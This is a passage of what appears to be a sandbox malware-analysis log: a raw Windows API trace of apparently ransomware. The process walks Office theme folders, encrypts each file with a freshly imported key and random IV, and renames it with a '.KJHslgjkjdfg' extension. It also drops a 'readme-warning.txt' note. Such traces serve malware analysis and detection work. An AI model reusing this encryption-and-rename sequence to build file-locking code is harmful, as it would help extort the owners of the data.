RegCloseKey (hKey=0x12c) returned 0x0 [0189.140] GetProcessHeap () returned 0x2ef0000 [0189.140] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.140] GetProcessHeap () returned 0x2ef0000 [0189.140] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.140] GetProcessHeap () returned 0x2ef0000 [0189.140] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.140] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.140] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.140] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.140] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.141] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.141] GetProcessHeap () returned 0x2ef0000 [0189.141] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.141] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.141] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.141] GetProcessHeap () returned 0x2ef0000 [0189.141] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.141] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\readme-warning.txt") returned 81 [0189.141] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.141] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.142] CloseHandle (hObject=0x12c) returned 1 [0189.143] GetProcessHeap () returned 0x2ef0000 [0189.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.143] GetProcessHeap () returned 0x2ef0000 [0189.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.143] GetProcessHeap () returned 0x2ef0000 [0189.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.143] GetProcessHeap () returned 0x2ef0000 [0189.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.143] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.143] GetProcessHeap () returned 0x2ef0000 [0189.143] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10788 | out: hHeap=0x2ef0000) returned 1 [0189.143] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0189.144] GetProcessHeap () returned 0x2ef0000 [0189.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x92) returned 0x2f170f8 [0189.144] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.144] GetProcessHeap () returned 0x2ef0000 [0189.144] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f170f8 | out: hHeap=0x2ef0000) returned 1 [0189.144] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.144] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0189.144] GetProcessHeap () returned 0x2ef0000 [0189.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x294) returned 0x2f10788 [0189.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.144] GetProcessHeap () returned 0x2ef0000 [0189.144] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.144] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.144] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.145] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x1, lpOverlapped=0x0) returned 1 [0189.146] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.146] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.146] GetProcessHeap () returned 0x2ef0000 [0189.146] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.146] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.146] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.146] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.146] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.147] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.147] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.147] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.147] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.147] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.147] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.147] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.147] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x137f, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x137f, lpOverlapped=0x0) returned 1 [0189.148] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1380, dwBufLen=0x1380 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1380) returned 1 [0189.148] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.148] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1380, lpOverlapped=0x0) returned 1 [0189.148] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.148] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.148] SetEndOfFile (hFile=0x12c) returned 1 [0189.150] GetProcessHeap () returned 0x2ef0000 [0189.150] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.150] GetProcessHeap () returned 0x2ef0000 [0189.150] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.150] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.kjhslgjkjdfg")) returned 1 [0189.155] CloseHandle (hObject=0x12c) returned 1 [0189.155] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0189.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.156] GetProcessHeap () returned 0x2ef0000 [0189.156] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.156] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.156] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.156] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0189.160] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.160] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.160] GetProcessHeap () returned 0x2ef0000 [0189.160] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.160] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.160] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.160] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.160] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.160] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.160] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.160] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.160] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.160] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.161] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.161] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.161] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x19e14, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x19e14, lpOverlapped=0x0) returned 1 [0189.162] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x19e20, dwBufLen=0x19e20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x19e20) returned 1 [0189.163] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.163] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x19e20, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x19e20, lpOverlapped=0x0) returned 1 [0189.164] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.164] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x19ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.164] SetEndOfFile (hFile=0x12c) returned 1 [0189.167] GetProcessHeap () returned 0x2ef0000 [0189.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.167] GetProcessHeap () returned 0x2ef0000 [0189.167] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.kjhslgjkjdfg")) returned 1 [0189.175] CloseHandle (hObject=0x12c) returned 1 [0189.175] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0189.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.176] GetProcessHeap () returned 0x2ef0000 [0189.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.176] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.176] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.176] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0189.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.177] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.177] GetProcessHeap () returned 0x2ef0000 [0189.177] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.178] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.178] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.178] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.178] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.178] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.178] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.178] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.178] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x22b, lpOverlapped=0x0) returned 1 [0189.178] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230, dwBufLen=0x230 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230) returned 1 [0189.178] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.178] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x230, lpOverlapped=0x0) returned 1 [0189.179] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.179] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.179] SetEndOfFile (hFile=0x12c) returned 1 [0189.181] GetProcessHeap () returned 0x2ef0000 [0189.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.181] GetProcessHeap () returned 0x2ef0000 [0189.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.kjhslgjkjdfg")) returned 1 [0189.187] CloseHandle (hObject=0x12c) returned 1 [0189.187] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0189.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft 